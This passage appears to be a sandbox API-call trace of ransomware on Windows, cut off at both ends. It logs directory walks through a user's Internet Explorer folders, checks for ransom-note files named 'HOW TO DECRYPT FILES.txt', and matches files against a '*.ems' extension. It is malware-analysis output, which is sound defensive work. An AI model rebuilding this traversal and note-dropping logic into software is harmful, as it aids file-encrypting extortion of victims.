lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7dfa026d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x680063, dwReserved1=0x55005c, cFileName="Windows Explorer.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0088.002] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0088.002] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Windows Explorer.lnk") returned -1 [0088.002] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Windows Explorer.lnk") returned -1 [0088.002] lstrcmpiA (lpString1="", lpString2="Windows Explorer.lnk") returned -1 [0088.002] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer (2).lnk") returned="Windows Explorer (2).lnk" [0088.002] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0088.002] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="" [0088.002] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt" [0088.002] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\how to decrypt files.txt")) returned 0x20 [0088.002] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Windows Explorer.lnk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk" [0088.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk", pszSpec="*.ems") returned 0 [0088.003] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc4b320, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc4b320, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd869fe87, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x680063, dwReserved1=0x55005c, cFileName="Windows Media Player (2).lnk", cAlternateFileName="WINDOW~4.LNK")) returned 1 [0088.003] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0088.003] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Windows Media Player (2).lnk") returned -1 [0088.003] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Windows Media Player (2).lnk") returned -1 [0088.003] lstrcmpiA (lpString1="", lpString2="Windows Media Player (2).lnk") returned -1 [0088.003] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk") returned="Windows Explorer.lnk" [0088.003] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0088.003] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="" [0088.003] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt" [0088.003] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\how to decrypt files.txt")) returned 0x20 [0088.003] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Windows Media Player (2).lnk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player (2).lnk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player (2).lnk" [0088.003] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player (2).lnk", pszSpec="*.ems") returned 0 [0088.003] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2e24b3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x680063, dwReserved1=0x55005c, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0088.004] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0088.004] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Windows Media Player.lnk") returned -1 [0088.004] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Windows Media Player.lnk") returned -1 [0088.004] lstrcmpiA (lpString1="", lpString2="Windows Media Player.lnk") returned -1 [0088.004] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player (2).lnk") returned="Windows Media Player (2).lnk" [0088.004] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0088.004] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="" [0088.004] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt" [0088.004] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\how to decrypt files.txt")) returned 0x20 [0088.004] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Windows Media Player.lnk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk" [0088.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk", pszSpec="*.ems") returned 0 [0088.004] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2e24b3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x680063, dwReserved1=0x55005c, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0088.004] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0088.004] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb65d71b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb65d71b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6d0049, dwReserved1=0x6c0070, cFileName="TaskBar", cAlternateFileName="")) returned 0 [0088.004] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0088.005] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e143190, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x730055, dwReserved1=0x720065, cFileName="Window Switcher.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0088.005] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.005] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Window Switcher.lnk") returned -1 [0088.005] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Window Switcher.lnk") returned -1 [0088.005] lstrcmpiA (lpString1="", lpString2="Window Switcher.lnk") returned -1 [0088.005] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*.*") returned="*.*" [0088.005] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\" [0088.005] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="" [0088.005] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\HOW TO DECRYPT FILES.txt" [0088.005] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\how to decrypt files.txt")) returned 0x20 [0088.005] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Window Switcher.lnk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk" [0088.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk", pszSpec="*.ems") returned 0 [0088.005] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e143190, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x730055, dwReserved1=0x720065, cFileName="Window Switcher.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0088.005] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0088.005] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b77470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b77470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 1 [0088.006] lstrcmpA (lpString1=".", lpString2="UserData") returned -1 [0088.006] lstrcmpA (lpString1="..", lpString2="UserData") returned -1 [0088.006] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*.*") returned="*.*" [0088.006] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="UserData" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData" [0088.006] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b77470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b77470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x680063, dwReserved1=0x48005c, cFileName=".", cAlternateFileName="")) returned 0x502698 [0088.007] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.007] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b77470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b77470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x480000, cFileName="..", cAlternateFileName="")) returned 1 [0088.008] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.008] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.008] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0088.008] lstrcmpA (lpString1=".", lpString2="Low") returned -1 [0088.008] lstrcmpA (lpString1="..", lpString2="Low") returned -1 [0088.008] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*.*") returned="*.*" [0088.008] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\", lpString2="Low" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low" [0088.008] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0088.008] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.008] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.008] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.008] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.008] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="65UX3YG0", cAlternateFileName="")) returned 1 [0088.008] lstrcmpA (lpString1=".", lpString2="65UX3YG0") returned -1 [0088.009] lstrcmpA (lpString1="..", lpString2="65UX3YG0") returned -1 [0088.009] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*.*") returned="*.*" [0088.009] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\", lpString2="65UX3YG0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0" [0088.009] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502718 [0088.012] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.012] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.012] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.012] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.012] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0088.012] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0088.012] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x350036, dwReserved1=0x580055, cFileName="AY721QDR", cAlternateFileName="")) returned 1 [0088.012] lstrcmpA (lpString1=".", lpString2="AY721QDR") returned -1 [0088.012] lstrcmpA (lpString1="..", lpString2="AY721QDR") returned -1 [0088.012] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*.*") returned="*.*" [0088.012] lstrcatA (in: 